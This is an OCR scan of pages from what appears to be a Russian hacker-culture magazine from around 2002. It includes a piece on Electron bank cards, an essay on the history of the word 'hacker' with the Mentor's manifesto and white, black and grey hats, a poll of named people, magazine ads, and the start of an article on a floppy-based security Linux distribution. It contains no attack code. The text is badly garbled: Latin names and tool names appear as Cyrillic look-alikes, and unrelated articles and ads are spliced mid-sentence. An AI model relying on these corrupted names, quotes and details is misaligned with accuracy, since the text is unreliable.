- Маркетинговое исследование: 
тонкости анкетирования и 
проведения фокус-групп 

- Увольнение: способы расстаться 
с сотрудником без скандала 



ПРАКТИКА 

- Кредитный союз: сам себе банк 

- Проблема и решение: 
эффективная система оплаты для 
менеджеров по п родажам 

- В бизнесе - женщина: сила и 
слабости 



ОТКРОЙ СВОЙ БИЗНЕС С 
ЖУРНАЛОМ "СВОЙ 
БИЗНЕС"! 



Читайте в мартовском 
номере журнала 
"Свой бизнес": 



ОБЩИЕ ПОЛОЖЕНИЯ 



И, в заключение, пара фактов по Еіесігоп'ам: 
Передо мной лежит журнал "Русский Фокус" (N25 
18-24 февраля 2002 г.). На страницах 76 и 77 кор- 
респонденты журнала поместили результаты опро- 
са известных менеджеров - кто какой кредиткой 
пользуется. Так вот, большинство пользуется не 
кредитными картами, а Еіесігоп'ами. Среди них: 
Андрей Серов, вице-президент банка "Зенит". 
Армен Никогосян, заместитель генерального ди- 
ректора компании "Неон Сити". 

Алексей Жданов, заместитель генерального дирек- 
тора "Норильского никеля" (пользуется как 
Еіесігоп'ом, так и кредитной картой). 

Сергей Беседин, финансовый директор торгового 
дома "ИнфоЛинк". 

Светлана Романова, генеральный директор ауди- 
торской компании "Пачоли". 

Георгий Сатаров, руководитель фонда "Индем", 
бывший помощник президента России. 

Я не думаю, что эти люди не в состоянии завести 
себе кредитную карту. Но используют они Еіесігоп 
- и, как говорится, не жужжат, по заграницам ез- 
дят, отовариваются там без проблем. 



Да, и еще. Некоторые ломают себе голову над 
тем, какие голограммы у эмбоссированных 
карт, правильно или неправильно выполнено 
типирование на эмбоссированных картах, какой 
там микрошрифт и т.д. Правильнее за- 
казать себе за те же деньги Еіесігоп, но 
с фотографией. Тогда и проблем у кар- щ| а 
дера сильно поубавится. Щ м 



ОТ РАБОТЫ ПО НАЙМУ ФИНАНСОВОЙ НЕЗАВИСИМОСТИ 

сими 
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АЗМЫШЛЕНИЯ 



О СМЫСЛЕ 



БЫТИЯ 



-Кто такие хакеры? 
-Компьютерные извращенцы 



Злобствуя как-то на просторах ІНС, я завел 
интимный разговор с одной интеллигентной 
дамочкой. Обсуждали жисть, любофф и 
прочие прелести. В конце концов, тема у 
нас, не без моей помощи, свернула в 
сторону хакерства. 

"А ты знаешь, кто такие хакеры?" - 
поинтересовался я у своей новой знакомой. 
"Конечно! Это компьютерные извращенцы" 
- с достоинством ответила мадам. Ничуть 
не сомневаюсь, что у многих из вас на этот 
счет есть свое, не менее твердое мнение. 
Но давайте, все-таки, попробуем 
разобраться - кто такие хакеры на самом 
деле. И вправе ли мы, стырившие у соседа 
пароль на диалап и занюкавшие до смерти 
врагов, называть себя хакерами? 






'Реррум Е Іпгігіе 
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ИСТОРИЧЕСКИЕ КОРНИ 



Первые упоминания о слове "Паск" относятся к XV 
веку. В то время в Лондоне существовал район под 
названием Наскпеу, в котором крупная компания за- 
нималась выращиванием лошадей. Сотрудники ком- 
пании хорошо знали свое дело, их питомцы всегда 
были в хорошей форме и высоко ценились во всей 
Англии. Неудивительно, что небольшой район в сто- 
лице стал широко известен даже за пределами стра- 
ны. Со временем любители лошадей, в честь имени- 
того места, стали называть самых спокойных и по- 
слушных животных словом Паск. 

С годами слово неоднократно меняло свое значе- 
ние, по-прежнему имея привязанность к лошадям. 
Но затем его стали использовать как синоним сда- 
чи в аренду. Единственное различие - говоря Паск, 
имели в виду аренду человеческого труда. В те 
времена распространены были предложения все- 
возможных услуг (стирка, уборка, покупка продук- 
тов) за бесценок богатым горожанам. Если какой- 
то парнишка вызывался сбегать, разузнать для 
"хозяина" нужную информацию, он как бы сдавал 
себя на время в аренду. Поэтому его называли 
Паскег, а то, что он делал (сбегать разузнать) - 
Паск. Во времена Шекспира слово Паск часто при- 
меняли по отношению к проституткам, причем те 
предпочитали именно его, как менее вульгарное. 



РАННИЕ ХАКЕРЫ 



Долгое время слово Паск использовалось студен- 
тами Массачусетского Технологического института 
для обозначения оригинальных шуток. Иногда, что- 
бы проделать одну такую выходку, требовалось не- 
сколько дней подготовки и участие множества че- 
ловек. Практически всегда в них наблюдался твор- 
ческих подход. В 50-е годы это слово переняли 
члены Клуба Технического Моделирования Желез- 
ной Дороги (ТВМС), которые проводили время за 
сооружением сложных макетов железнодорожных 
путей. Наск'ом назывались оригинальные дополне- 
ния к создаваемой конструкции. 

Первую привязку к компьютерам слово Паск полу- 
чило на территории все того же легендарного ин- 
ститута, когда в лабораторных кампусах стали по- 
являться первые мэйнфреймы типа ІВМ-704. Со 
временем о них узнали молодые, технически ода- 
ренные ребята, для которых эти электронные ма- 
шины стали новым миром, который можно беско- 
нечно изучать и все время узнавать что-то новое. В 
60-е годы процесс написания программ для ком- 
пьютеров был трудоемким и сложным занятием, и 
в узком кругу программистов новые алгоритмы и 
творческие решения вызывали большое уважение. 
Для обозначения красиво написанного кода студен- 
ты МТИ стали использовать слово Паск. Можно бы- 
ло написать исходник длиной в несколько сот 
строк, прекрасно работающий, но основанный на 
чужих идеях. И это была всего лишь программа. Но 
достаточно было всего нескольких строк, в которых 
заложена новая находка, иной подход к решению 
задачи, чтобы эти несколько строк стали хаком. 

На протяжении 60-х годов лишь единицы могли по 
праву называть себя хакерами. Часто блестящий 
студент, гордость института, ходил в лузерах (по- 
средственный программист, строго следующий до- 
кументациям), в то время как 14-летний пацаненок, 
умеющий мыслить нестандартно, пользовался ува- 
жением у гуру, его принимали за своего. Хакеры 
МТИ полностью отдавали себя своему увлечению. 
Их порывы к написанию новых хаков и повышению 
своего мастерства были столь сильны, что ни опе- 



раторы, ни замки, ни угрозы не могли изолировать 
ребят от компьютера. Хакеры все время пытались 
привнести в свои и чужие программы что-то новое, 
улучшить их, приблизить к совершенству. И они 
использовали все свое умение и мастерство, чтобы 
сделать работу на компьютере как можно более 
эффективной. Но самым главным для хакеров был 
сам процесс программирования. Это была их сти- 
хия, в которой они чувствовали себя как рыба в во- 
де. Со временем в сообществе хакеров появилась 
своя этика, которой они следовали и в которую ве- 
рили. Вот несколько основных ее положений: 

1 . Доступ к компьютеру и ко всему, что может тебя 
чему-нибудь научить, должен быть неограничен- 
ным и полным. 

2. Любая информация должна быть свободной. 

3. Не доверяй властям. Продвигай децентрализа- 
цию. 

4. О хакерах нужно судить по их мастерству, а не 
таким надуманным критериям, как образование, 
возраст, национальность и положение в обществе. 

5. На компьютере можно творить искусство и кра- 
соту. 

6. Компьютеры способны изменить твою жизнь к 
лучшему. 

Через некоторое время пионеры хакерства стали 
покидать пределы МТИ. Некоторые из них пыта- 
лись начать свое дело, другие поступали на работу 
в одну из раскручивающихся компьютерных компа- 
ний (например, "ЗутЬоІісз"). К концу 70-х годов в 
институте остались лишь единицы "старичков", и 
они, под действием перемен и наплывом новых 
людей, уже не могли поддерживать атмосферу, 
царившую в кампусах раньше. Компьютеры стано- 
вились все более распространенными, перебира- 
ясь из глубин исследовательских центров в до- 
машние квартиры. 



ХАКЕРЫ 80-Х 



В конце 70-х на смену программным хакерам при- 
шли хакеры сетевые. Как правило, все начиналось 
с покупки простенького компьютера (Арріе ][, ТВЗ- 
80, Аіагі) с модемом и посещения одной из фри- 
керских ВВЗ. После чего молодой парнишка (а как 
правило, владельцами первых персоналок были 
именно ребята 1 5-20 лет) втягивался в новую ки- 
бертусовку и, равняясь на более опытных старожи- 
лов, становился на путь хакерства. 

В начале 80-х гг. сообщество хакеров, сплоченное 
вокруг электронных досок, во многом напоминало 
тусовку компьютерщиков из МТИ. У них были об- 
щие интересы и взгляды на жизнь, они могли часа- 
ми разговаривать на им одним понятном языке, и 
они так же отстаивали идею полного доступа к лю- 
бой информации. К тому времени компьютерные 
технологии уже начали бурно развиваться, что по- 
влекло за собой возникновение конкуренции и, как 
следствие, ограничение доступа к информацион- 
ным ресурсам. Это шло вразрез с хакерскими 
принципами. Чтобы расширить свои знания о ком- 
пьютерах, приходилось искать способы проникно- 
вения в закрытые источники, где хранилась нужные 
документация. Процесс поиска уязвимостей и по- 
лучения высших привилегий в системе стал назы- 
ваться хакерством, соответственно те, кто делал 
это быстро и с легкостью, называли себя хакерами. 
Хакерство в 80-х, так же как и за 20 лет до этого, 
было своеобразным состязанием, азартной 
игрой, в которой роль противника играл ком- 
пьютер. Администраторы устанавливали све- 
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Хулиган! Безбашенный журнал! 
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А мне - ЬКШ і МЦД 

Дайвинг и с чем его едят 
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жие заплатки, компании разрабатывали новейшие 
способы защиты, взлом с каждым годом становил- 
ся труднее - все это бросало вызов хакерам, и те с 
готовностью его принимали. Несмотря на то, что 
хакеры не стремились нанести вред и проникали в 
системы, надеясь найти полезную информацию, 
компании, на серверы которых они проникали, не- 
сли убытки из-за подобных вторжений. Впустую 
тратилось время администраторов, которые начи- 
нали проверять целостность системы и искать спо- 
соб, которым вошел в систему незваный гость (а 
час работы в США измеряется десятками долла- 
ров). Еще больший ущерб наносила пошатнувшая- 
ся репутация компании, если инцидент всплывал в 
прессе. Все это заставило силовые структуры все- 
рьез заняться компьютерными взломщиками. В 
результате, на протяжении 80-х гг. были арестова- 
ны многие известнейшие представители компью- 
терного андеграунда. Хакеры, которые не видели в 
своих действиях ничего противозаконного, были 
возмущены. В январе 1986 г., вскоре после своего 
ареста, хакер ТНе Мепіог опубликовал в журнале 
"РІігаск" хакерский манифест: 

"...Это наш мир, мир кодов и электронных импуль- 
сов, наполненный красотой модемных звуков. Мы 
бесплатно пользуемся услугами, которые могли бы 
стоить копейки, если бы вы не спекулировали на 
наших потребностях и не были так жадны... вы на- 
зываете нас преступниками. Мы стремимся к зна- 
ниям... вы называете нас преступниками. Мы су- 
ществуем без цвета кожи, без национальности и 
религиозных предубеждений... вы называете нас 
преступниками. Вы производите атомные бомбы, 
разжигаете войны, убиваете, обворовываете и вре- 
те нам, пытаясь убедить в своей правоте... а мы 
все так же остаемся преступниками. 

Да, я преступник. Мое преступление - любопытст- 
во. Мое преступление - суждение о людях по их 
знаниям, мыслям и поступкам, а не по тому, как 
они выглядят. Мое преступление в том, что я умнее 
вас, за что вы не можете меня простить. Я хакер, и 
это мой манифест. Вы можете остановить кого-то 
из нас, но вы не можете остановить нас всех". 

Этот текст размером 3 кб стал на несколько лет 
лозунгом хакеров всего мира. Однако совсем дру- 
гое мнение о хакерах высказала пресса. То и дело 
в газетах стали появляться заголовки: "Хакер про- 
ник в компьютерную сеть Пентагона", "Хакеры ук- 
рали из банка 30000$", "Арестован хакер - автор 
вируса, остановившего работу 6 тысяч компьюте- 
ров". Миллионам людей хакеры представлялись 
злыми компьютерными гениями, способными про- 
никать куда угодно и манипулировать любыми тех- 
нологиями. Впрочем, в чем-то пресса была права - 
некоторые хакеры действительно представляли уг- 
розу, так как использовали свои знания в корыст- 
ных целях. Например, чтобы отомстить врагам или 
заработать на продаже конфиденциальной инфор- 
мации. Но в их тень попали и другие - исследова- 
тели, стремившиеся к знаниям, но занесенные в 
один список со своими "темными" собратьями. 
Пресса не стала разделять хакеров на плохих и хо- 



роших, создав им однозначный авторитет злодеев. 
Авторитет, который будет расти и укрепляться 
вплоть до наших дней. 



ХАКЕРЫ НАШИХ ДНЕЙ 



С начала 90-х в быт многих людей стал постепенно 
входить интернет. Глобальная паутина, растущая с 
каждым днем, превратилась в один из основных 
источников информации. Если раньше, чтобы най- 
ти нужную документацию, приходилось вламывать- 
ся в сеть какой-то компании и тайком скачивать на 
свой компьютер, теперь достаточно зайти на поис- 
ковик и ввести название документа. Такая свобода 
и вседоступность информации послужили причи- 
ной появления новых "хакеров" - зсгірі кісісііез. Для 
них не важен процесс, все, что они хотят - как 
можно быстрее проникнуть в закрытую систему и 
почувствовать себя в ней хозяином. Власть - глав- 
ный стимул для скрипткидеров. И каждая новая 
покоренная система дает им кусочек власти, поз- 
воляет почувствовать свое превосходство над эти- 
ми сложными машинами. Чтобы не тратить время 
на изучение "ненужных технических тонкостей", 
скрипткидеры пользуются уже готовыми програм- 
мами и эксплоитами. По той же причине они избе- 
гают защищенных "дверей", взламывая те, что ед- 
ва висят на петлях. В большинстве случаев именно 
скрипткидеры являются героями газетных публика- 
ций. Но если у прессы они вызывают восхищение, 
для людей с более глубокими познаниями эти ре- 
бята скорее источник раздражения и насмешек. 
Несмотря на то, что этика хакеров отвергает лю- 
бые разрушительные действия, не все они придер- 
живаются этого правила. Чтобы не повторять 
ошибку СМИ, компьютерное сообщество раздели- 
ло хакеров на три основные категории: 

ѴѴМІе Паі5 - хакеры, которые используют свои на- 
выки, чтобы улучшить компьютерный мир, привне- 
сти в него что-нибудь новое и полезное. Часто их 
можно встретить в фирмах, занимающихся предо- 
ставлением услуг компьютерной безопасности. Хо- 
роший пример ѵѵііііе ІіаГа - создатель ОС І_іпих Ли- 
нус Торвальдс. 

ВІаск Ііаіз (сгаскегз) - те, кто использует свои 
знания в корыстных целях или просто во зло. Они 
взламывают на заказ серверы, запускают в сеть 
своих червей, осуществляют сложные атаки на 
важные объекты. Хакер, тайком проникший в сис- 
тему и, ничего не изменяя, оставивший в ней бэк- 
дор - тоже относится к этой группе. Типичные при- 
меры: Кевин Митник, МаТіа Воу, кракерская группа 
КЕО ЕѴЕ. 

Сгау Гіаіз - люди, которые играют с компьютерны- 
ми системами в кошки-мышки. Они, как и ВІаск 
НаГы часто взламывают различные серверы, но за- 
тем указывают администраторам (и общественнос- 
ти) на обнаруженные уязвимости. Во многом имен- 
но благодаря Огау баГам мы имеем возможность 
читать ленту Ьидігац. Одним из известнейших хаке- 
ров этой категории является Адриан Ламо. 



Многие сейчас вкладывают свой смысл в хакер- 
ство. "Старички" с ностальгией вспоминают о 
давно ушедших временах. Когда слово хакер 
произносилось с большим уважением, а сами ха- 
керы имели неограниченные познания в компью- 
терах и могли выполнить на них задачу любой 
сложности. Современная трактовка подразумева- 
ет любовь к исследованию, стремление к новым 
знаниям и умение творчески подходить к осуще- 
ствлению поставленных целей. Ведь и в 60-е, и в 
80-е годы главным в хакерском деле была не 
цель, а процесс. Поэтому, даже если тебе не 
удалось переиграть машину, но ты не останавли- 
ваешься и ищешь новые способы победить - ты 
стоишь на правильном пути. 

С изменением компьютерного мира постепен- 
но эволюционирует и значение хакерства. 
Вполне возможно, что в будущем его ждет 
совсем другой смысл. 



МНЕНИЯ 



Напоследок, чтобы продемонстрировать всесто- 
ронний подход к проблеме, я привожу этот опрос. 

В нем принимали участие те, кого считаю хакера- 
ми я, кто сам считает себя хакером, кто просто 
имеет отношение к миру компьютерной безопас- 
ности, а также журналисты, правительственные со- 
трудники и просто люди со стороны. Наслаждайся! 

ЗАРАЗА, ѵѵшѵ.зесигііу.ппоѵ.ги: 

Хакер - это человек со специфическим типом мыш- 
ления, способный найти нестандартное решение, 
которого не ожидают другие, нарушить привычные 
законы функционирования какой-либо системы и, 
иногда, на их месте построить свои. В этом смысле 
хакер не обязательно действует в компьютерной 
области. Например, Александр Македонский развя- 
зал Гордиев узел, разрубив его мечом. Николай 
Лобачевский, добавив всего одну точку на плоско- 
сти, замкнул ее - это позволило избавиться от 
"лишней" аксиомы Евклида, получив гораздо более 
стройную и общую геометрию. Так же и хакеры в 
компьютерной области: они смотрят на компьютер, 
на сеть, на программу не под тем углом, под кото- 
рым смотрел разработчик или пользователь, а под 
своим. Это позволяет находить новые решения: но- 
вые сценарии атак, новые типы ошибок, разраба- 
тывать программное обеспечение с новыми функ- 
циями или просто подходить к самому процессу 
работы как к игре, общению или искусству. 

А.В.Лукацкий, "Информзащита": 

Для меня хакер - это специалист в области сете- 
вых и других высоких технологий. Необязательно 
направляющий свои силы в негативное или крими- 
нальное русло. Главное, что он специалист высо- 
кого класса, который тратит свое время, силы и 
средства на изучение различных аспектов функци- 
онирования сетей. Как он применяет полученные 
результаты - это уже отдельный разговор. Он мо- 
жет сообщать о той или иной дыре производите- 
лю, Іпіегпеі-сообществу, а может воспользоваться 
дырой для атаки. Первое и второе я горячо под- 
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ЭТО НОВАЯ ТЕМА НОМЕРА 
КАЖДЫЙ МЕСЯЦ 



держиваю, а третье... С людьми, которые исполь- 
зуют свои знания во вред другим, мы и боремся. 

Сергей Покровский, экс- главред журнала 
"Хакер": 

Хакерство - это получение свободного доступа ту- 
да, куда не пускают просто так. Это может быть как 
сервер Газпрома, так и проходная Газпрома, и да- 
же кофейный автомат, стоящий в Газпроме :). Но 
надо различать воровство и хакерство. Когда ты во- 
руешь логины с троянами, то это не хакерство, это 
реальное воровство. А вот когда ты проходишь че- 
рез все защиты на сервере и добираешься до кор- 
ня, причем в статусе бідйаі доб, вот это хакерство. 
Хакер - это журнал. Других понятий у этого терми- 
на нет. 

Ольга, журналист "МК": 

Это подростки, которые хорошо разбираются в 
компьютерах и используют их для своего обогаще- 
ния. Например, взять инцидент с Владимиром Ле- 
виным. Он выучил компьютерную грамоту и вос- 
пользовался своими знаниями, чтобы проникнуть в 
банк и украсть деньги. Есть и другие хакеры - те, 
кто запускает вирусы и ломает компьютеры Пента- 
гона. Думаю, этим людям просто нечем заняться и 
они ищут способ самореализоваться в интернете. 

І_апсе Зріігпег, автор многих зесигііу-доку- 
ментаций, администратор ѵѵшѵѵ.ргоіесі.Ііоп- 
еупеі.огд: 

Слово "хакер" для меня означает врага, атакующе- 
го системы. Единственная причина, почему я так 
говорю - потому что именно так сейчас оно вос- 
принимается прессой и большинством людей. А 
вообще я стараюсь избегать использования слова 
"хакер". Именно по этой причине. 

Для обозначения людей, которые взламывают сер- 
веры и чинят компьютерный беспредел, я употреб- 
ляю "ВІаск Наіз". В противовес блэкхэтам, 

"Шііе Наіз" - по отношению к "хорошим пар- 
ням". Конечно, всегда есть и "Огау Наіз", которые 
стоят по обе стороны хакерства. 

Даня Шеповалов, величайший гуманист 
всех времен и народов: 

Хочется ответить анекдотом: 

- Слышал, Вася вчера сервак грохнул?! 

- Он что, хакер? 

- Не-а, он урод! 

:))) 

А вообще, ІМНО, хакер - это чел, который успешно 
применяет свои глубокие знания компьютерных 
систем в своих же меркантильных/личных/любых 
других целях. 

Дмитрий Леонов, отец Наскгопе.ш и Ьид- 
Ігац.ги: 

Ну, это ж обсасывалось уже тысячу раз. Я до сих пор 
предпочитаю классическую трактовку понятия хакер 
как компьютерного профессионала, хотя понятно, 
что оно девальвировано уже дальше некуда. В том 
числе и благодаря усилиям вашего журнала :). 

Акиіа, девушка с ІКС: 

Люди, которые помогают другим людям, не имею- 
щим столько денег, чтобы легально пользоваться 



хорошими (и не очень) программами. А также те, 
кто не дает админам зарасти мхом и салом. 

Руосіог, создатель птар и іпзесиге.огд: 

Хакеры - это те, кто максимально использует все 
заложенные в системе ресурсы для достижения 
своих целей. Хакерами можно назвать программи- 
стов-энтузиастов, авторов эксплоитов и всех ос- 
тальных, испытывающих удовольствие от интел- 
лектуального поединка с компьютерами. 

РазсаІ ВоисНагеіпе, французский зесигііу- 
консультант: 

Хакерство - это когда ты решаешь проблему не- 
стандартным способом. Например, если ты зажи- 
гаешь сигарету лампой хэллоуина или чинишь по- 
врежденный механизм жвачкой - это очень напо- 
минает хакерство. Так же и по отношению к ком- 
пьютерам. Если ты используешь программы или 
сервисы так, как это не предусматривалось разра- 
ботчиками, если ты умеешь выходить за рамки ус- 
тановленных правил - в тебе есть многое от хаке- 
ра. С другой стороны, хакерство - это отличное по- 
нимание того, как работают вещи. 

СН1Ю0, член кгоѵаіка.ги: 

Как правило, это умные детки богатеньких родите- 
лей, которые сутками сидят в интернете. 

ЕттапиеІ СоИзІеіп, редактор журнала 
"2600": 

Хакерство - это бесконечный процесс задавания 
вопросов. Вот почему компьютеры представляют 
отличную среду для любопытных людей - они не 
просят тебя заткнуться, когда ты продолжаешь 
спрашивать или снова и снова набираешь коман- 
ды. Но не следует однозначно привязывать хакер- 
ство к компьютерам. В каждом, кто имеет пытли- 
вый ум, азарт, нерушимую веру в свободу слова и 
право на знания, живет дух хакерства. 

гОтап, ѵѵѵѵѵѵ.рПгеакег.пеІ: 

Хакерство - своеобразная электронная магия :). 
Хакеры - творческие люди с хорошими навыками 
программирования и мотивацией все время пре- 
взойти самого себя. 

Еѵап "АдепГ, тех. сотрудник ФБР: 

Хакеры - это преимущественно подростки, облада- 
ющие хорошими знаниями компьютеров, но на- 
правляющие эти знания в преступное русло. Про- 
ще говоря, хакеры - это компьютерные взломщи- 
ки. Которые осуществляют несанкционированные 
проникновения на закрытые серверы, дефейсят 
сайты и распространяют секретную информацию в 
сети. Сами хакеры оправдывают свои поступки 
стремлением к знаниям, но в результате таких вот 
стремлений, компании ежегодно теряют миллионы 
долларов, которые могли бы пойти на развитие 
компьютерной индустрии. 

Андрюха, типа друг :): 

Волосатые, немытые, небритые маньяки, которые 
не дают людям спокойно жить в сети. 



подробно, доступно и наглядно! 
Взлом, ѵѵеЬ-беѵеІортепІ, операци- 
онные системы, программирование, 
фрикинг, сети и многое, многое 
другое 

ЭТО ПОСТОЯННЫЕ РУБРИКИ: 



5РЁ2іаІ Оеііѵегу 



железа, ѵѵеЬ'а и хакерских программ. 




радиомысли Доктора Кода, пайка 
хитрых устройств, 
радиоэлектроника, роботы, 
кибернетические организмы, 
импланты, "другая" физика. 



самые нестандартные и 
объективные тесты железа от 
команды Іезі ІаЬ. 



ѴѴІ№огтаііоп 



масса полезных советов юзерам 05 
ѴѴіпсІоѵѵз, обзоры программ, 
описания, сравнения и подборка 
самых удобных утилит, 
безбашенные идеи по оформлению 
йезкіор'ов и информация обо всех 
полезных обновлениях для ѴѴІЫ- 
платформ. 



30, ЛазН, векторная графика, 
цифровой звук, цифровая анимация, 
кино, музыка, арт, аниме, а также две 
зиЬ-рубрики с советами по веб- 
дизайну и флеш-технологиям. 

ЭТО ОЧЕРЕДНАЯ СНОГСШИБА- 
ТЕЛЬНАЯ, БАШНЕСРЫВАТЕЛЬНАЯ, 
ПА РАНОИДАЛЬ НАЯ 5Т0КѴ ОТ ЫІРЮ. 

Внимание! Автор и редакция не 
рекомендую читать рубрику Зіогу 
перед сном! 

ЭТО ОБЗОРЫ КНИГ И САЙТОВ ПО 
ТЕМЕ НОМЕРА КАЖДЫЙ МЕСЯЦ 

ЭТО СВОБОДНАЯ ЛЕКСИКА 
И АТМОСФЕРА КИБЕРПАНКА 
ВО ВСЕМ ЖУРНАЛЕ 

ЭТО ПРОСТО О СЛОЖНОМ 
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РУССКАЯ ОСЬ ДЛЯ ХАКЕРОВ 



Наверное, ничто не развива- 
ется так быстро, как компью- 
терная индустрия, и хакерс- 
кое искусство здесь не явля- 
ется исключением. Общий 
объем ПО постоянно растет, 
бывает, приходится держать 
на винте более 1 00 различ- 
ных программ (хотя это за- 
висит от широты твоих «ин- 
тересов»). Угнаться за посто- 
янно появляющимися верси- 
ями и новым программным 
обеспечением очень труд- 
но... Проблему еще усугуб- 
ляют системные сбои - ве- 
щи хоть и не очень распро- 
страненные, но сильно 
неприятные! Обычному 
юзеру достаточно поста- 
вить какой-нибудь ѴѴіпЭх, 
установить йіѵХ ;-) кодеки 
и ОігесіХ 8.0 :-). Но что же 
делать нам? Придется не 
только инсталлить систе- 
му, усиленно ее настраи- 
вать, но и устанавливать 
довольно много софта... 



Рассказ об 08 ВТК: 

Виззіап Тгіпих Кіі. РІорру ЕсШіоп 
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«Манифест» КТК: 

Зто РУССКАЯ ОПЕРАЦИОННАЯ СИСТЕМА ДЛЯ ХАКЕРОВ, ОФИЦЕРОВ БЕЗОПАС- 
НОСТИ И СЕТЕВЫХ АДМИНИСТРАТОРОВ. РТК СОДЕРЖИТ ПОСЛЕДНИЕ ВЕРСИИ 
ПОПУЛЯРНЫХ ОІЕІТАЬ ЗЕСиРІТУ УТИЛИТ. (Пн ОСНОВАН НА ТРІІЧЫХ 
(ТРІМиХ.ВОиРСЕГОРОЕ.ЫЕТ), НО ЭТОТ Я 3 АКТ НЕ ДОКАЗЫВАЕТ ИХ идентич- 
ность. Система оптимизирована и дополнена, кроме того, имеет 

ВСТРОЕННУЮ ПОДДЕРЖКУ РУССКОГО ЯЗЫКА И РАСКЛАДКИ КЛАВИАТУРЫ. ДОС- 



ТУПНЫ РУССКИЕ МАИ-ПАКЕТЫ, 



ПОЯВЛЯЮТСЯ ОБНОВЛЕНИЯ КАК 



САМОЙ ОПЕРАЦИОННОЙ СИСТЕМЫ, ТАК И ПАКЕТОВ, СКРИПТОВ... САМА ОСЬ 
УМЕЩАЕТСЯ НА ОДНОЙ ДИСКЕТЕ 3.5», В РАМ СОЗДАЕТСЯ ВИРТУАЛЬНЫЙ 
РАЗДЕЛ, С КОТОРЫМ И РАБОТАЕТ РТК. ЕСТЬ ВОЗМОЖНОСТЬ ДИНАМИЧЕСКИ 
ПОДКЛЮЧАТЬ ПАКЕТЫ И/ИЛИ МОДУЛИ, КОТОРЫЕ МОЖНО ЗАГРУЗИТЬ С ДОПОЛ- 
НИТЕЛЬНЫХ ДИСКЕТ, ЖЕСТКОГО ДИСКА, СО-Р/РѴѴ, А ТАКЖЕ ЧЕРЕЗ СЕТЬ. 



ОБРАТНАЯ СТОРОНА 



Возьмем другой пример: допустим, ты попал в 
неизвестную квартиру с каким-то компом, и 
владелец попросил сделать что-нибудь этакое. 
Но вот стоит у него ѴѴіпМе и несколько станда- 
ртных программ вроде ѴѴіпВаг, Гаг, ХпѴіеѵѵ и т.п. 
Что делать? Можно, конечно, слепить свою бол- 
ванку со всем нужным софтом, сесть и усиленно 
устанавливать... Но у тебя могут возникнуть 
проблемы с совместимостью (например, прога 
идет только в ѵѵ2к, а в линуксе есть разные 
дистрибутивы со своими пакетами и наборами 
библиотек, к тому же не надо забывать о туче 
лог-файлов, которые остаются после тебя...). И 
это проблема. Ты можешь просто свалить, ска- 
зав что-то типа: «Да не, надо на моем компе, 
чего я тут сделаю!». Некоторые могут предло- 
жить таскать с собой жесткий диск. И вот опять 
неудача! Несовместимость оборудования так 
сказать. Например, живет на винте зіаскѵѵаге, 
сам он на новой машине запускаться не будет 
(во всяком случае, частично), то есть модель 
монитора изменится - Х-ѴѴіпбоѵѵ в дауне. При- 
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дется химичить с хШбсопйд (+видеокарта), ну и 
т.д. В дальнейших комментариях, надеюсь, это 
не нуждается. Примеров таких «сбоев» можно 
привести сотню... 



ВЫХОД?! 



Есть ли решение этой проблемы? Отвечу честно - 
нет! Люди пока еще не придумали 
способ оградить пользователей от сбоев и создать 
гибкую систему слежения за нужным тебе софтом. 

Я отброшу стандартные советы, типа, делайте резе- 
рвные копии, подпишитесь на всякие рассылки и 
т.д. Это не выход! Возможно, ты скажешь: «Да за- 
чем мне следить за обновлениями всех программ! 
Есть у меня десяток самых нужных, и это меня 
вполне устраивает!». Дай угадаю, это, скорее всего: 
птар, іоііп, пеісаі, ХЗрісІег? Приведу тебе один при- 
мер: есть сервер У, у него открыт порт 25 (зтф- 
сервер в большинстве случаев), и он выдает левый 
баннер. Есть идеи, как определить реальную вер- 
сию? А вот существует интересная прога под назва- 
нием зшфзсап, которая содержит отпечатки многих 
демонов/сервисов (зепсітаіі, цтаіі, МісгозоЙ 
ЕхсМапде, ІюШз Оотіпо еіс). К чему это я? А к тому, 
что всегда найдется много интересного софта, кото- 
рый прошел мимо тебя! Грузимся дальше... Что же 
делать? Думаю, ты уже ощущаешь привязку к свое- 
му рабочему месту и полную беспомощность (это 
уже перегиб, не стоить принимать эти слова всерь- 
ез :) - прим. ред.)... Учитывая все вышесказанное, я 
разработал примерные критерии хакерской ОС: 

1 . Высокая мобильность и переносимость. 
Привязывать систему к определенной архитек- 
туре или специализированному железу глупо. 
Во-первых, не у всех процессор X и железо 
производителя У. Учитывается даже тот факт, 
что на твоем компе может и не быть жесткого 
диска. Следовательно, ты можешь без проблем 
переносить ОСь с одного компьютера на дру- 
гой. Это самая настоящая карманная система 
хакера... 

2. Стабильность работы. 

Это очень важный показатель. Как можно рабо- 
тать с постоянно зависающей системой? Это 
оставляет неприятные воспоминания об ОС и 
ее создателях :). Операционка должна поддер- 
живать максимальные нагрузки и сохранять са- 



мый высокий режим стабильности. 

3. Нетребовательность к ресурсам. 

Не у каждого есть деньги на высокоскоростные ПК. 
На самом деле не так уж они и нужны. Я вот лично 
спокойно обхожусь своими 366 целеронами. Кто- 
то всегда мечтает идти в ногу со временем, поку- 
пая за большие деньги всякие навороченные шту- 
ки. Это личное дело каждого. 

4. Широта охвата. 

Надо учитывать, что систему могут использовать 
совершенно разные «слои» компьютерного андег- 
раунда (будь то хакеры, фрикеры, в общем, ты по- 
нял...). Одним нужен птар, р(Х, іоііп, йгеѵѵаік, дру- 
гим сіДз, кізтеі, третьим дрд, зіедо, ЬсгурГ.. Сле- 
довательно, должно быть портировано большое 
количество совершенно разных программ. 

5. Простота настройки. 

Это совсем не то, о чем ты подумал. Я к тому, 
что система на любом компьютере должна запус- 
каться без всяких ошибок, независимо от мони- 
тора, частоты процессора, количества оператив- 
ной памяти и т.д. 



ЧТО ЖЕ ВЫБИРАТЬ? 
НЕМНОГО ИСТОРИИ... 



На мой взгляд, рынок ОС не очень развит. В ос- 
новном это ІІМІХ- и ѴѴіпсІоѵѵз-мир. Хотя есть еще 
ВеОЗ, МоѵеІІ Меіѵѵаге и другие. Но они не очень 
распространены. За основу был выбран 1_іпих. 
Эта ОСь непридирчива к характеристикам 



компьютера, работает на многих архитектурах и 
вполне стабильна. Плюс к этому, исходники отк- 
рыты (на условиях СИ II ОРЦ, есть огромное ко- 
личество хакерского и околохакерского софта. В 
теории все, конечно, хорошо, но как все это 
применить на практике? Для этого существует 
целая индустрия под названием мини-дистрибу- 
тивы. Вообще они предназначены для своих 
особых целей - построение программных роуте- 
ров, гераіг системы, проверка на вирусы и т.д. 
Время шло, и никому не приходило в голову 
создать именно хакерский дистрибутив, но в да- 
леком 1 998 году первые шаги в этом направле- 
нии сделал Мэтью Франз, создатель Тгіпих. 
Системой сразу же заинтересовались, стали по- 
являться статьи в Сети и журналах. Все бы хо- 
